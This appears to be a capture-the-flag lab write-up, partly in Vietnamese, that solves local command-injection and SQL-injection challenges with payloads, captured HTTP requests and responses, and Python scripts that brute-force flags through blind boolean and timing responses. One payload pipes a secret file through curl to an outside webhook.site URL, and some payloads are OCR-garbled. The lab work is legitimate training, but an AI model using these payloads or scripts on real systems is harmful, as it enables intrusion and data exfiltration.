

# Injection - Writeup

## ▼ Command Injection

### ▼ 4in1\_bizcard\_generator

#### ▼ level1

Payload: `test';cat /secret_file;#`

The screenshot shows a web browser's developer tools with the Request and Response tabs open. The Request tab shows a GET request to `/index.php?username=test%27%3Bcat+%2Fsecret_file%3B%23&level=1&type=figlet HTTP/1.1`. The Response tab shows an HTML form with a 'Generate for free!' button. A red box highlights a debug output in the response body, which contains the following text:

```
[DEBUG] Level: 1
[DEBUG] Username: test\';cat /secret_file;#
[DEBUG] Command: echo 'Hello test\';cat /secret_file;# | cowsay -n
; figlet "Hello test\';cat /secret_file;#"

Hello test\
  @: You are master of Command Injection now!
  b38e625204bd8d09089d3eacc3a9c862
```

#### ▼ level2

Payload: `';cat /*;#`

Request		Response	
Pretty	Raw	Pretty	Raw
<pre> 1 GET /index.php?username=%27%3Bcat+%2F*%3B%23&amp;level=2&amp;type=figlet HTTP/1.1 2 Host: localhost:5555 3 sec-ch-ua: "-Not.A/Brand";v="8", "Chromium";v="102" 4 sec-ch-ua-mobile: ?0 5 sec-ch-ua-platform: "Windows" 6 Upgrade-Insecure-Requests: 1 7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36   (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36 8 Accept:   text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,   image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 9 Sec-Fetch-Site: same-origin 10 Sec-Fetch-Mode: navigate 11 Sec-Fetch-User: ?1 12 Sec-Fetch-Dest: document 13 Referer:   http://localhost:5555/index.php?username=%27%3Bcat+%2F*%3B%23&amp;level=1&amp;type=f   iglet 14 Accept-Encoding: gzip, deflate 15 Accept-Language: en-US,en;q=0.9 16 Connection: close 17 18 </pre>		<pre> 44 &lt;/label&gt; 45 &lt;br&gt; 46 &lt;input type="radio" name="type" value="tenet"&gt; 47 &lt;label&gt; 48   tenet 49 &lt;/label&gt; 50 &lt;br&gt; 51 &lt;input type="radio" name="type" value="random" checked&gt; 52 &lt;label&gt; 53   random 54 &lt;/label&gt; 55 &lt;br&gt; 56 &lt;/fieldset&gt; 57 &lt;input type="submit" value="Generate for free!"&gt; 58 &lt;/div&gt; 59 &lt;/form&gt; 60 ----- 61 &lt;pre&gt; 62 [DEBUG] Level: 2 [DEBUG] Username: \';cat /*;# [DEBUG] Command: echo 'Hello \';cat /*;#   cowsay -n ; figlet 'Hello \';cat /*;#' Hello \ : You are master of Command Injection now! b38e625284bd8d09089d3eacc3a9c862 &lt;/pre&gt; &lt;/div&gt; &lt;/body&gt; </pre>	

### ▼ level3

Payload: ``cd%09...;cd%09...;cd%09...;cat%09secret_file``

Request		Response	
Pretty	Raw	Pretty	Raw
<pre> 1 GET /index.php?username=`cd%09...;cd%09...;cd%09...;cat%09secret_file`&amp;level=3&amp;   type=figlet HTTP/1.1 2 Host: localhost:5555 3 sec-ch-ua: "-Not.A/Brand";v="8", "Chromium";v="102" 4 sec-ch-ua-mobile: ?0 5 sec-ch-ua-platform: "Windows" 6 Upgrade-Insecure-Requests: 1 7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36   (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36 8 Accept:   text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,   image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 9 Sec-Fetch-Site: same-origin 10 Sec-Fetch-Mode: navigate 11 Sec-Fetch-User: ?1 12 Sec-Fetch-Dest: document 13 Referer:   http://localhost:5555/index.php?username=%60s%60&amp;level=3&amp;type=figlet 14 Accept-Encoding: gzip, deflate 15 Accept-Language: en-US,en;q=0.9 16 Connection: close 17 18 </pre>		<pre> 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 </pre>	

### ▼ level4

Payload: ``cd%09...%0acd%09...%0acd%09...%0acat%09secret_file``

Request		Response	
Pretty	Raw	Pretty	Raw
<pre> 1 GET /index.php?username="cd%09.%.%0acd%09.%.%0acd%09.%.%0acat%09secret_file"&amp;   level=4&amp;type=figlet HTTP/1.1 2 Host: localhost:5555 3 sec-ch-ua: "-Not.A/Brand";v="8", "Chromium";v="102" 4 sec-ch-ua-mobile: ?0 5 sec-ch-ua-platform: "Windows" 6 Upgrade-Insecure-Requests: 1 7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36   (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36 8 Accept:   text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,   image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 9 Sec-Fetch-Site: same-origin 10 Sec-Fetch-Mode: navigate 11 Sec-Fetch-User: ?1 12 Sec-Fetch-Dest: document 13 Referer:   http://localhost:5555/index.php?username=%60%1s%60&amp;level=3&amp;type=figlet 14 Accept-Encoding: gzip, deflate 15 Accept-Language: en-US,en;q=0.9 16 Connection: close 17 18 </pre>		<pre> 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 </pre>	

## ▼ command\_injection

### ▼ level1

Payload: `;cat /142awdfasd_secret.txt`

Request		Response	
Pretty	Raw	Pretty	Raw
<pre> 1 POST /index.php HTTP/1.1 2 Host: localhost:3001 3 Content-Length: 53 4 sec-ch-ua: "-Not.A/Brand";v="8", "Chromium";v="102" 5 Accept: */* 6 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 7 X-Requested-With: XMLHttpRequest 8 sec-ch-ua-mobile: ?0 9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36   (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36 10 sec-ch-ua-platform: "Windows" 11 Origin: http://localhost:3001 12 Sec-Fetch-Site: same-origin 13 Sec-Fetch-Mode: cors 14 Sec-Fetch-Dest: empty 15 Referer: http://localhost:3001/ 16 Accept-Encoding: gzip, deflate 17 Accept-Language: en-US,en;q=0.9 18 Connection: close 19 20 command=nslookup&amp;target=%3Bcat+/142awdfasd_secret.txt </pre>		<pre> 1 HTTP/1.1 200 OK 2 Date: Thu, 03 Nov 2022 11:00:33 GMT 3 Server: Apache/2.4.38 (Debian) 4 X-Powered-By: PHP/7.2.34 5 Vary: Accept-Encoding 6 Content-Length: 127 7 Connection: close 8 Content-Type: text/html; charset=UTF-8 9 10 11 CBJS{Basic_Command_Injection_0b4df8ed64f424432facd35e16883402} 12 CBJS{Basic_Command_Injection_0b4df8ed64f424432facd35e16883402} </pre>	

### ▼ level2

Payload: `&+cat+/ash4zxdf_secret.txt`

Request				Response			
Pretty	Raw	Hex		Pretty	Raw	Hex	Render
<pre> 1 POST /index.php HTTP/1.1 2 Host: localhost:3002 3 Content-Length: 52 4 sec-ch-ua: "-Not.A/Brand";v="8", "Chromium";v="102" 5 Accept: */* 6 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 7 X-Requested-With: XMLHttpRequest 8 sec-ch-ua-mobile: ?0 9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36   (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36 10 sec-ch-ua-platform: "Windows" 11 Origin: http://localhost:3002 12 Sec-Fetch-Site: same-origin 13 Sec-Fetch-Mode: cors 14 Sec-Fetch-Dest: empty 15 Referer: http://localhost:3002/ 16 Accept-Encoding: gzip, deflate 17 Accept-Language: en-US,en;q=0.9 18 Connection: close 19 20 command=nslookup&amp;target=%26+cat+/ash4zxdf_secret.txt </pre>				<pre> 1 HTTP/1.1 200 OK 2 Date: Thu, 03 Nov 2022 11:02:41 GMT 3 Server: Apache/2.4.38 (Debian) 4 X-Powered-By: PHP/7.2.34 5 Vary: Accept-Encoding 6 Content-Length: 155 7 Connection: close 8 Content-Type: text/html; charset=UTF-8 9 10 CBJS{Command_Injection_Dont_need_semicolon_763d036657127a4f21c670530e319b52} 11 CBJS{Command_Injection_Dont_need_semicolon_763d036657127a4f21c670530e319b52} 12 </pre>			

## ▼ level3

Payload: `%0acat+/3ef1cafd_secret.txt`

Request				Response			
Pretty	Raw	Hex		Pretty	Raw	Hex	Render
<pre> 1 POST /index.php HTTP/1.1 2 Host: localhost:3003 3 Content-Length: 51 4 sec-ch-ua: "-Not.A/Brand";v="8", "Chromium";v="102" 5 Accept: */* 6 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 7 X-Requested-With: XMLHttpRequest 8 sec-ch-ua-mobile: ?0 9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36   (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36 10 sec-ch-ua-platform: "Windows" 11 Origin: http://localhost:3003 12 Sec-Fetch-Site: same-origin 13 Sec-Fetch-Mode: cors 14 Sec-Fetch-Dest: empty 15 Referer: http://localhost:3003/ 16 Accept-Encoding: gzip, deflate 17 Accept-Language: en-US,en;q=0.9 18 Connection: close 19 20 command=nslookup&amp;target=%0acat+/3ef1cafd_secret.txt </pre>				<pre> 1 HTTP/1.1 200 OK 2 Date: Thu, 03 Nov 2022 11:06:33 GMT 3 Server: Apache/2.4.38 (Debian) 4 X-Powered-By: PHP/7.2.34 5 Vary: Accept-Encoding 6 Content-Length: 141 7 Connection: close 8 Content-Type: text/html; charset=UTF-8 9 10 11 CBJS{Not_only_;&amp; _but_there_are_mor_520c298589c33766dc2688b3866c95cb} 12 CBJS{Not_only_;&amp; _but_there_are_mor_520c298589c33766dc2688b3866c95cb} </pre>			

## ▼ level4

Payload: `a;cat+/aefd123cdf_secret.txt+|+curl+--data-binary+@-+https://webhook.site/84430e5e-1c6e-4ffd-9cc5-b074ef8371df`

Request				Response			
Pretty	Raw	Hex		Pretty	Raw	Hex	Render
<pre> 1 POST /index.php HTTP/1.1 2 Host: localhost:3004 3 Content-Length: 132 4 sec-ch-ua: "-Not.A/Brand";v="8", "Chromium";v="102" 5 Accept: */* 6 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 7 X-Requested-With: XMLHttpRequest 8 sec-ch-ua-mobile: ?0 9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36   (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36 10 sec-ch-ua-platform: "Windows" 11 Origin: http://localhost:3004 12 Sec-Fetch-Site: same-origin 13 Sec-Fetch-Mode: cors 14 Sec-Fetch-Dest: empty 15 Referer: http://localhost:3004/ 16 Accept-Encoding: gzip, deflate 17 Accept-Language: en-US,en;q=0.9 18 Connection: close 19 20 command=backup&amp;target=a;cat+/aefd123cdf_secret.txt+ +curl+--data-binary+@-+https://webhook.site/84430e5e-1c6e-4ffd-9cc5-b074ef8371df </pre>				<pre> 1 HTTP/1.1 200 OK 2 Date: Thu, 03 Nov 2022 11:12:19 GMT 3 Server: Apache/2.4.38 (Debian) 4 X-Powered-By: PHP/7.2.34 5 Content-Length: 26 6 Connection: close 7 Content-Type: text/html; charset=UTF-8 8 9 Backup không thành công </pre>			

The screenshot shows the Webhook.site interface. The URL bar displays a long, unique URL. The interface includes a navigation bar with links like 'Docs & API', 'Custom Actions', 'WebhookScript', 'Terms & Privacy', and 'Support'. Below this, there's a toolbar with options like 'Password', 'Alias', 'Schedule', 'CSV Export', 'Custom Actions Settings...', 'Run Now', 'XHR Redirect Settings...', 'Redirect Now', 'CORS Headers', and 'Auto Na'. The main content area is divided into three sections: 'REQUESTS (1/500)' on the left, 'Request Details' in the center, and 'Headers' and 'Form values' on the right. The 'REQUESTS' section shows a list of requests, with the selected one being a POST request with ID #b48d3, received at 171.252.41.186 on 03/11/2022 at 18:12:20. The 'Request Details' section shows the request method (POST), URL, host (171.252.41.186), date (03/11/2022 18:12:20), size (64 bytes), and ID (b48d3865-9028-4264-9657-2cd50b832a1e). The 'Headers' section shows various headers like 'connection: close', 'content-type: application/x-www-form-urlencoded', 'accept: \*/\*', 'user-agent: curl/7.64.0', 'content-range: bytes /var/www/html/:', and 'host: webhook.site'. The 'Form values' section shows a single value: 'CBJS{Blind\_Command\_Injection\_a3183b33bb4885bbd0c9ddf20c35ab8}'. The 'Raw Content' section shows the raw body of the request: 'CBJS{Blind\_Command\_Injection\_a3183b33bb4885bbd0c9ddf20c35ab8}'.

## ▼ level5

- Khai thác thông qua báo lỗi backup thành công hoặc không thành công bằng cách viết script python gửi request bruteforce các ký tự có trong flag. VD như là từ a-z, A-Z và các ký tự đặc biệt khác, etc.

```
import requests
import string

url = "http://localhost:3005/"
charset = string.ascii_letters + string.digits + string.punctuation

flag = ""
baseQuery = "a -r .; if [ \"$(cat /*.txt|cut -c{})\" = \"{}\" ]; then echo '123'; else echo 'zip error'; fi;"

while True:
    for char in charset:
        realQuery = baseQuery.format(len(flag)+1, char)
        data = {"command": "backup", "target": realQuery}
        res = requests.post(url, data= data)
        if "không" not in res.text:
            flag = flag + char
            break
    print(flag)
```

```
FOLDERS  main.py  public.pem  private.pem
python
  encrypt
  main.py
  private
  public
1 import requests
2 import string
3
4 url = "http://localhost:3005/"
5 charset = string.ascii_letters + string.digits + string.punctuation
6
7 flag = ""
8 baseQuery = "a -r .; if [ \"$(cat /*.txt|cut -c{})\" = \"{}\" ]; then echo '123'; else echo 'zip error';
  fi;"
9
10 while True:
11     for char in charset:
12         realQuery = baseQuery.format(len(flag)+1, char)
13         data = {"command": "backup", "target": realQuery}
14         res = requests.post(url, data=data)
15         if "không" not in res.text:
16             flag = flag + char
17             break
18     print(flag)

CBJS{n0_internet_command_injection_dbf02a0e608f8b08d5a23591a47ff36
CBJS{n0_internet_command_injection_dbf02a0e608f8b08d5a23591a47ff36b
CBJS{n0_internet_command_injection_dbf02a0e608f8b08d5a23591a47ff36b}
CBJS{n0_internet_command_injection_dbf02a0e608f8b08d5a23591a47ff36b}
CBJS{n0_internet_command_injection_dbf02a0e608f8b08d5a23591a47ff36b}
CBJS{n0_internet_command_injection_dbf02a0e608f8b08d5a23591a47ff36b}
CBJS{n0_internet_command_injection_dbf02a0e608f8b08d5a23591a47ff36b}
CBJS{n0_internet_command_injection_dbf02a0e608f8b08d5a23591a47ff36b}
CBJS{n0_internet_command_injection_dbf02a0e608f8b08d5a23591a47ff36b}
CBJS{n0_internet_command_injection_dbf02a0e608f8b08d5a23591a47ff36b}
[Finished in 63.0s]
```

### ▼ level6

- Bài này mình chạy lại script từ bài 5 thì thấy được



```
python
  encrypt
  main.py
  private
  public
1 import requests
2 import string
3
4 url = "http://localhost:3005/"
5 charset = string.ascii_letters + string.digits + string.punctuation
6
7 flag = ""
8 baseQuery = "a -r .; if [ \"$(cat /*.txt|cut -c{})\" = \"{}\" ]; then echo '123'; else echo 'zip error';
  fi;"
9
10 while True:
11     for char in charset:
12         realQuery = baseQuery.format(len(flag)+1, char)
13         data = {"command": "backup", "target": realQuery}
14         res = requests.post(url, data=data)
15         if "không" not in res.text:
16             flag = flag + char
17             break
18     print(flag)

CBJS{trUe_0r_f4lse_d3tEctI0n_b56c6ec4dd59e1741144ee8913
CBJS{trUe_0r_f4lse_d3tEctI0n_b56c6ec4dd59e1741144ee8913e
CBJS{trUe_0r_f4lse_d3tEctI0n_b56c6ec4dd59e1741144ee8913e6
CBJS{trUe_0r_f4lse_d3tEctI0n_b56c6ec4dd59e1741144ee8913e6b
CBJS{trUe_0r_f4lse_d3tEctI0n_b56c6ec4dd59e1741144ee8913e6b8
CBJS{trUe_0r_f4lse_d3tEctI0n_b56c6ec4dd59e1741144ee8913e6b85
CBJS{trUe_0r_f4lse_d3tEctI0n_b56c6ec4dd59e1741144ee8913e6b857
CBJS{trUe_0r_f4lse_d3tEctI0n_b56c6ec4dd59e1741144ee8913e6b857}
CBJS{trUe_0r_f4lse_d3tEctI0n_b56c6ec4dd59e1741144ee8913e6b857}
[Finished in 42.4s]
```

### ▼ level7

- Cũng tương tự như level 5 nhưng dựa vào thời gian response trả về vì thông báo trả về chỉ có duy nhất “đã chạy câu lệnh backup”.

```

import datetime
import requests
import string

url = "http://localhost:3007/"
charset = string.ascii_letters + string.digits + string.punctuation
flag = ''
baseQuery = "a /etc/passwd; if [ \"$(cat /*.txt|cut -c{})\" = \"{}\" ]; th
en sleep 10; fi;"
while True:
    for char in charset:
        realQuery = baseQuery.format(len(flag)+1, char)
        data = {"command": "backup", "target": realQuery}
        now = datetime.datetime.now()
        res = requests.post(url, data= data)
        if res.elapsed > datetime.timedelta(seconds = 10):
            flag = flag + char
            break
    print(flag)

```

```

1 import datetime
2 import requests
3 import string
4
5 url = "http://localhost:3007/"
6 charset = string.ascii_letters + string.digits + string.punctuation
7 flag = ''
8 baseQuery = "a /etc/passwd; if [ \"$(cat /*.txt|cut -c{})\" = \"{}\" ]; then sleep 5; fi;"
9 while True:
10     for char in charset:
11         realQuery = baseQuery.format(len(flag)+1, char)
12         data = {"command": "backup", "target": realQuery}
13         now = datetime.datetime.now()
14         res = requests.post(url, data= data)
15         if res.elapsed > datetime.timedelta(seconds = 5):
16             flag = flag + char
17             break
18     print(flag)

```

## ▼ SQL Injection

▼ level1

Payload: `admin'##`

Request
Pretty
Raw
Hex

1 POST / HTTP/1.1  
2 Host: localhost:24001  
3 Content-Length: 27  
4 Cache-Control: max-age=0  
5 sec-ch-ua: "Not.A/Brand";v="8", "Chromium";v="102"  
6 sec-ch-ua-mobile: ?0  
7 sec-ch-ua-platform: "Windows"  
8 Upgrade-Insecure-Requests: 1  
9 Origin: http://localhost:24001  
10 Content-Type: application/x-www-form-urlencoded  
11 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36  
12 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9  
13 Sec-Fetch-Site: same-origin  
14 Sec-Fetch-Mode: navigate  
15 Sec-Fetch-User: ?1  
16 Sec-Fetch-Dest: document  
17 Referer: http://localhost:24001/  
18 Accept-Encoding: gzip, deflate  
19 Accept-Language: en-US,en;q=0.9  
20 Connection: close  
21  
22 **username=admin'#{password=3**

Response
Pretty
Raw
Hex
Render

22 <h2 style="text-align: center;">  
Goal: Login as admin  
</h2>  
23 <form class="form-login" method="post" onsubmit="customSubmit(this)">  
24 <div class="container">  
25 <label for="uname">  
<b>  
Username  
</b>  
</label>  
26 <input type="text" placeholder="Enter Username" name="username" required>  
27  
28 <label for="psw">  
<b>  
Password  
</b>  
</label>  
29 <input type="password" placeholder="Enter Password" name="password" required>  
30 <span>  
31 **Now you can log in as admin, so cool, but how about <a href='level2.php'>THIS LEVEL**  
</a>  
!  
</span>  
32 <button type="submit">  
Login  
</button>  
33 </div>  
34 </form>  
35 </body>  
36  
37 </html>

## ▼ level2

Payload: **admin'#{**

Request
Pretty
Raw
Hex

1 POST /level2.php HTTP/1.1  
2 Host: localhost:24001  
3 Content-Length: 31  
4 Cache-Control: max-age=0  
5 sec-ch-ua: "Not.A/Brand";v="8", "Chromium";v="102"  
6 sec-ch-ua-mobile: ?0  
7 sec-ch-ua-platform: "Windows"  
8 Upgrade-Insecure-Requests: 1  
9 Origin: http://localhost:24001  
10 Content-Type: application/x-www-form-urlencoded  
11 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36  
12 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9  
13 Sec-Fetch-Site: same-origin  
14 Sec-Fetch-Mode: navigate  
15 Sec-Fetch-User: ?1  
16 Sec-Fetch-Dest: document  
17 Referer: http://localhost:24001/level2.php  
18 Accept-Encoding: gzip, deflate  
19 Accept-Language: en-US,en;q=0.9  
20 Connection: close  
21  
22 **username=admin%22%38password=1**

Response
Pretty
Raw
Hex
Render

21 <h1 >  
SQL Injection workshop  
</h3>  
22 <h2 style="text-align: center;">  
Goal: Login as admin  
</h2>  
23 <form class="form-login" method="post" onsubmit="customSubmit(this)">  
24 <div class="container">  
25 <label for="uname">  
<b>  
Username  
</b>  
</label>  
26 <input type="text" placeholder="Enter Username" name="username" required>  
27  
28 <label for="psw">  
<b>  
Password  
</b>  
</label>  
29 <input type="password" placeholder="Enter Password" name="password" required>  
30 <span>  
31 **Now you can log in as admin, so cool, but how about <a href='level3.php'>THIS LEVEL**  
</a>  
!  
</span>

## ▼ level3

Payload: **admin')#**



Request			Response			
Pretty	Raw	Hex	Pretty	Raw	Hex	Render
<pre> 1 POST /level3.php HTTP/1.1 2 Host: localhost:24001 3 Content-Length: 34 4 Cache-Control: max-age=0 5 sec-ch-ua: "-Not.A/Brand";v="8", "Chromium";v="102" 6 sec-ch-ua-mobile: ?0 7 sec-ch-ua-platform: "Windows" 8 Upgrade-Insecure-Requests: 1 9 Origin: http://localhost:24001 10 Content-Type: application/x-www-form-urlencoded 11 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36 12 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 13 Sec-Fetch-Site: same-origin 14 Sec-Fetch-Mode: navigate 15 Sec-Fetch-User: ?1 16 Sec-Fetch-Dest: document 17 Referer: http://localhost:24001/level3.php 18 Accept-Encoding: gzip, deflate 19 Accept-Language: en-US,en;q=0.9 20 Connection: close 21 22 username=admin%27%29%23&amp;password=1 </pre>			<pre> 21 &lt;h1&gt;     SQL Injection workshop   &lt;/h1&gt; 22 &lt;h2 style="text-align: center;"&gt;     Goal: Login as admin   &lt;/h2&gt; 23 &lt;form class="form-login" method="post" onsubmit="customSubmit(this)"&gt; 24   &lt;div class="container"&gt; 25     &lt;label for="uname"&gt;       &lt;b&gt;         Username       &lt;/b&gt;     &lt;/label&gt; 26     &lt;input type="text" placeholder="Enter Username" name="username"       required&gt; 27 28     &lt;label for="psw"&gt;       &lt;b&gt;         Password       &lt;/b&gt;     &lt;/label&gt; 29     &lt;input type="password" placeholder="Enter Password" name="password"       required&gt; 30   &lt;span&gt; 31     Now you can log in as admin, so cool, but how about &lt;a href='       level4.php'&gt;         THIS LEVEL       &lt;/a&gt;       !     &lt;/span&gt; 32   &lt;button type="submit"&gt;       Login     &lt;/button&gt; </pre>			

## ▼ level4

Payload: `test'+UNION+SELECT+'admin','+123'#`

Request			Response			
Pretty	Raw	Hex	Pretty	Raw	Hex	Render
<pre> 1 POST /level4.php HTTP/1.1 2 Host: localhost:24001 3 Content-Length: 70 4 Cache-Control: max-age=0 5 sec-ch-ua: "-Not.A/Brand";v="8", "Chromium";v="102" 6 sec-ch-ua-mobile: ?0 7 sec-ch-ua-platform: "Windows" 8 Upgrade-Insecure-Requests: 1 9 Origin: http://localhost:24001 10 Content-Type: application/x-www-form-urlencoded 11 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36 12 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 13 Sec-Fetch-Site: same-origin 14 Sec-Fetch-Mode: navigate 15 Sec-Fetch-User: ?1 16 Sec-Fetch-Dest: document 17 Referer: http://localhost:24001/level4.php 18 Accept-Encoding: gzip, deflate 19 Accept-Language: en-US,en;q=0.9 20 Connection: close 21 22 username=test'+UNION+SELECT+'admin','+123'#&amp;password=123 </pre>			<pre> 35 &lt;h2 style="text-align: center;"&gt;     Goal: Login as admin   &lt;/h2&gt; 36 &lt;form class="form-login" method="post" onsubmit="customSubmit(this)"&gt; 37   &lt;div class="container"&gt; 38     &lt;label for="uname"&gt;       &lt;b&gt;         Username       &lt;/b&gt;     &lt;/label&gt; 39     &lt;input type="text" placeholder="Enter Username" name="username"       required&gt; 40 41     &lt;label for="psw"&gt;       &lt;b&gt;         Password       &lt;/b&gt;     &lt;/label&gt; 42     &lt;input type="password" placeholder="Enter Password" name="password"       required&gt; 43   &lt;span&gt; 44     Now you can log in as admin, so cool, but how about &lt;a href='       level5.php'&gt;         THIS LEVEL       &lt;/a&gt;       !     &lt;/span&gt; 45   &lt;button type="submit"&gt;       Login     &lt;/button&gt; 46 &lt;/div&gt; 47 &lt;/form&gt; 48 &lt;/body&gt; 49 </pre>			

## ▼ level5

Payload: `username=\&password=+union+select+username+from+users#`

### Request

Pretty

Raw

Hex

1

POST /level5.php HTTP/1.1

2

Host: localhost:24001

3

Content-Length: 54

4

Cache-Control: max-age=0

5

sec-ch-ua: "-Not.A/Brand";v="8", "Chromium";v="102"

6

sec-ch-ua-mobile: ?0

7

sec-ch-ua-platform: "Windows"

8

Upgrade-Insecure-Requests: 1

9

Origin: http://localhost:24001

10

Content-Type: application/x-www-form-urlencoded

11

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36

12

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9

13

Sec-Fetch-Site: same-origin

14

Sec-Fetch-Mode: navigate

15

Sec-Fetch-User: ?1

16

Sec-Fetch-Dest: document

17

Referer: http://localhost:24001/level5.php

18

Accept-Encoding: gzip, deflate

19

Accept-Language: en-US,en;q=0.9

20

Connection: close

21

22

username=&password=+union+select+username+from+users#

### Response

Pretty

Raw

Hex

Render

35

<h2 style="text-align: center;">

36

Goal: Login as admin

37

</h2>

38

<form class="form-login" method="post" onsubmit="customSubmit(this)">

39

<div class="container">

40

<label for="uname">

41

<b>

42

Username

43

</b>

44

<input type="text" placeholder="Enter Username" name="username" required>

45

<label for="psw">

46

<b>

47

Password

48

</b>

49

<input type="password" placeholder="Enter Password" name="password" required>

50

<span>

51

Now you can log in as admin, so cool, but how about <a href="level6.php">

52

THIS LEVEL

53

</a>

54

</span>

55

<button type="submit">

56

Login

57

</button>

58

</div>

59

</form>

60

</body>

## ▼ level6

Payload: `0 union select version()`

### Request

Pretty

Raw

Hex

1

GET /level6.php?id=0%20union%20select%20version() HTTP/1.1

2

Host: localhost:24001

3

sec-ch-ua: "-Not.A/Brand";v="8", "Chromium";v="102"

4

sec-ch-ua-mobile: ?0

5

sec-ch-ua-platform: "Windows"

6

Upgrade-Insecure-Requests: 1

7

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36

8

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9

9

Sec-Fetch-Site: none

10

Sec-Fetch-Mode: navigate

11

Sec-Fetch-User: ?1

12

Sec-Fetch-Dest: document

13

Accept-Encoding: gzip, deflate

14

Accept-Language: en-US,en;q=0.9

15

Connection: close

16

17

### Response

Pretty

Raw

Hex

Render

6

Content-Length: 602

7

Connection: close

8

Content-Type: text/html; charset=UTF-8

9

10

<!DOCTYPE html>

11

<html>

12

13

<head>

14

<meta charset="UTF-8">

15

<meta name="viewport" content="width=device-width, initial-scale=1">

16

<link rel="stylesheet" href="static/css/styles.css">

17

</head>

18

19

<body>

20

<br/>

21

<br/>

22

<h1>

23

SQL Injection workshop

24

</h1>

25

<h2 style="text-align: center;">

26

Goal: Extract database version

27

</h2>

28

<br/>

29

<form class="form-login" method="post">

30

<div class="container">

31

<span>

32

<iframe height='800px' width='100%' src='8.0.31'>

33

</iframe>

34

</span>

35

</div>

36

</form>

37

</body>

38

Injection - Writeup

10